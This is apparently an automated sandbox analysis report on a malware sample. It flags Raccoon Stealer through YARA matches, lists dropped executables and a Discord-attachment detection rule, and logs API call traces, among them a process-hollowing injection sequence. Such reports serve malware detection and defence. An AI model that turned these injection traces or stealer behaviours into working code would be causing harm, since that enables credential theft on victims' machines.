Source: cnv622JnZv.exe, 00000000.00000002.258287282.0000000002EAA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 35.3.152F.exe.48f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.3.152F.exe.48f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.152F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000003.460198021.00000000048F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.478734177.0000000000941000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.476969852.00000000013F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.593634201.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 152F.exe PID: 1280, type: MEMORYSTR

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 977B.exe.6.dr, ??????????????/_?????xptkvqfesn.cs

Large array initialization: _?????nacpgkwmie: array initializer size 208904

Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49AB40	24_2_6B49AB40
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B493360	24_2_6B493360
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A309	24_2_6B49A309
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AABD8	24_2_6B4AABD8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4C8BE8	24_2_6B4C8BE8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5223E3	24_2_6B5223E3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B51EB8A	24_2_6B51EB8A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AEBB0	24_2_6B4AEBB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52FA2B	24_2_6B52FA2B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53E2C5	24_2_6B53E2C5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534AEF	24_2_6B534AEF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5432A9	24_2_6B5432A9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B494120	24_2_6B494120
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B492990	24_2_6B492990
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A8840	24_2_6B4A8840
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476800	24_2_6B476800
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531002	24_2_6B531002
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A830	24_2_6B49A830
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48B090	24_2_6B48B090
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5367E2	24_2_6B5367E2
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FAE60	24_2_6B4FAE60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B496E30	24_2_6B496E30
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B542EF7	24_2_6B542EF7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B541D55	24_2_6B541D55
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B492D50	24_2_6B492D50
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B470D20	24_2_6B470D20
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A35D0	24_2_6B4A35D0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B492430	24_2_6B492430
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B534496	24_2_6B534496
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47EC9B	24_2_6B47EC9B
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00425150	34_2_00425150
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_0042419D	34_2_0042419D
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_0041FAF0	34_2_0041FAF0
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00403340	34_2_00403340
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00414437	34_2_00414437
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00422E27	34_2_00422E27
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_00422F47	34_2_00422F47
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: 34_2_0041FF88	34_2_0041FF88

Source: 8615.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8615.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8615.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8615.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8615.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8615.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 8615.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2E26.exe.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bejhieg.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bejhieg.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bejhieg.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bejhieg.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bejhieg.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bejhieg.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: bejhieg.6.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.22.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.22.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe

Section loaded: taskschd.dll

Jump to behavior

Source: cnv622JnZv.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 29.0.A557.exe.2d0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 23.0.77DC.exe.a50000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 29.0.A557.exe.2d0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 22.0.66A4.exe.d70000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 22.0.66A4.exe.d70000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 22.0.66A4.exe.d70000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 22.0.66A4.exe.d70000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 29.2.A557.exe.2d0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 23.0.77DC.exe.a50000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 29.0.A557.exe.2d0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 29.0.A557.exe.2d0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 23.0.77DC.exe.a50000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 23.2.77DC.exe.a50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 23.0.77DC.exe.a50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\A557.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\66A4.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\77DC.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: String function: 00410ED0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\977B.exe	Code function: String function: 0040FB00 appears 101 times
Source: C:\Users\user\AppData\Local\Temp\1196ed82-a1a7-4dc3-b900-4a59c1ae2518\AdvancedRun.exe	Code function: String function: 0040B550 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: String function: 6B505720 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: String function: 6B47B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: String function: 6B4CD08C appears 41 times

Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_0040185B Sleep,NtTerminateProcess,	3_2_0040185B
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_00401866 Sleep,NtTerminateProcess,	3_2_00401866
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_0040187A Sleep,NtTerminateProcess,	3_2_0040187A
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_0040163B NtMapViewOfSection,	3_2_0040163B
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_004018D3 NtTerminateProcess,	3_2_004018D3
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_00401884 Sleep,NtTerminateProcess,	3_2_00401884
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_00401888 NtTerminateProcess,	3_2_00401888
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_0040156A NtMapViewOfSection,	3_2_0040156A
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_2_004015DB
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_2_004017EA Sleep,NtTerminateProcess,	3_2_004017EA
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_1_0040156A NtMapViewOfSection,	3_1_0040156A
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	3_1_004015DB
Source: C:\Users\user\Desktop\cnv622JnZv.exe	Code function: 3_1_0040163B NtMapViewOfSection,	3_1_0040163B
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 17_2_02BA0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	17_2_02BA0110
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_0040185B Sleep,NtTerminateProcess,	18_2_0040185B
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_00401866 Sleep,NtTerminateProcess,	18_2_00401866
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_0040187A Sleep,NtTerminateProcess,	18_2_0040187A
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_0040163B NtMapViewOfSection,	18_2_0040163B
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_004018D3 NtTerminateProcess,	18_2_004018D3
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_00401884 Sleep,NtTerminateProcess,	18_2_00401884
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_00401888 NtTerminateProcess,	18_2_00401888
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_0040156A NtMapViewOfSection,	18_2_0040156A
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	18_2_004015DB
Source: C:\Users\user\AppData\Local\Temp\C5EA.exe	Code function: 18_2_004017EA Sleep,NtTerminateProcess,	18_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_0040181C Sleep,NtTerminateProcess,	24_2_0040181C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402406 NtEnumerateKey,	24_2_00402406
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00401F25 NtQuerySystemInformation,	24_2_00401F25
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00401828 Sleep,NtTerminateProcess,	24_2_00401828
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_00402431 NtEnumerateKey,	24_2_00402431
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_004017DA Sleep,NtTerminateProcess,	24_2_004017DA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_004017F8 NtTerminateProcess,	24_2_004017F8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_0040209A NtQuerySystemInformation,	24_2_0040209A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_004017A3 Sleep,NtTerminateProcess,	24_2_004017A3
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B99A0 ZwCreateSection,LdrInitializeThunk,	24_2_6B4B99A0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9860 ZwQuerySystemInformation,LdrInitializeThunk,	24_2_6B4B9860
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9820 ZwEnumerateKey,LdrInitializeThunk,	24_2_6B4B9820
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B98C0 ZwDuplicateObject,LdrInitializeThunk,	24_2_6B4B98C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9780 ZwMapViewOfSection,LdrInitializeThunk,	24_2_6B4B9780
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9660 ZwAllocateVirtualMemory,LdrInitializeThunk,	24_2_6B4B9660
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B967A NtQueryInformationProcess,LdrInitializeThunk,	24_2_6B4B967A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9600 ZwOpenKey,LdrInitializeThunk,	24_2_6B4B9600
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B48 ZwClose,ZwClose,	24_2_6B4A3B48
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548B58
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B508372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,	24_2_6B508372
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B486B6B ZwQueryAttributesFile,RtlDeleteBoundaryDescriptor,	24_2_6B486B6B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F7365 RtlRunOnceExecuteOnce,ZwQuerySystemInformation,RtlCaptureContext,memset,RtlReportException,	24_2_6B4F7365
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAB60 ZwReleaseKeyedEvent,	24_2_6B4BAB60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,	24_2_6B4A3B7A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B506365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,	24_2_6B506365
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472B7E ZwSetInformationThread,ZwClose,	24_2_6B472B7E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B526369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,	24_2_6B526369
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAB70 ZwReleaseWorkerFactoryWorker,	24_2_6B4BAB70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory,	24_2_6B474B00
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53131B RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B53131B
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9B00 ZwSetValueKey,	24_2_6B4B9B00
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A5306 ZwReleaseKeyedEvent,	24_2_6B4A5306
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479335 ZwClose,ZwClose,	24_2_6B479335
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,	24_2_6B472BC2
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,	24_2_6B48A3E0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4723F6 ZwClose,RtlFreeHeap,	24_2_6B4723F6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9BF0 ZwAlertThreadByThreadId,	24_2_6B4B9BF0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,	24_2_6B472B93
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A939F RtlInitializeCriticalSectionEx,ZwDelayExecution,	24_2_6B4A939F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B53138A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA390 ZwGetCachedSigningLevel,	24_2_6B4BA390
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548BB6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	24_2_6B4A4BAD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B549BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B549BBE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BA3A0 ZwGetCompleteWnfStateSubscription,	24_2_6B4BA3A0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B531BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B531BA8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,	24_2_6B479240
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,	24_2_6B501242
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9A50 ZwCreateFile,	24_2_6B4B9A50
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548A62
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,	24_2_6B548214
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9A00 ZwProtectVirtualMemory,	24_2_6B4B9A00
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	24_2_6B475210
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,	24_2_6B49A229
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,	24_2_6B474A20
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAA20 ZwQuerySecurityAttributesToken,	24_2_6B4BAA20
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B504A28 ZwOpenKey,DbgPrintEx,ZwQueryValueKey,DbgPrintEx,DbgPrintEx,memcpy,ZwClose,	24_2_6B504A28
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AB230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite,	24_2_6B4AB230
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9A30 ZwTerminateThread,	24_2_6B4B9A30
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B478239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,	24_2_6B478239
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B501AD6 ZwFreeVirtualMemory,	24_2_6B501AD6
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,	24_2_6B548ADD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAAC0 ZwQueryWnfStateNameInformation,	24_2_6B4BAAC0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess,	24_2_6B49FAD0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B9AE0 ZwTraceEvent,	24_2_6B4B9AE0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAAE0 ZwRaiseException,	24_2_6B4BAAE0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,	24_2_6B4ADA88
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B492280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess,	24_2_6B492280
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BB280 ZwWow64DebuggerCall,	24_2_6B4BB280
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,	24_2_6B47429E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4BAA90 ZwQuerySystemInformationEx,	24_2_6B4BAA90
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,	24_2_6B4AD294
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4752A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,	24_2_6B4752A5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B471AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,	24_2_6B471AA0
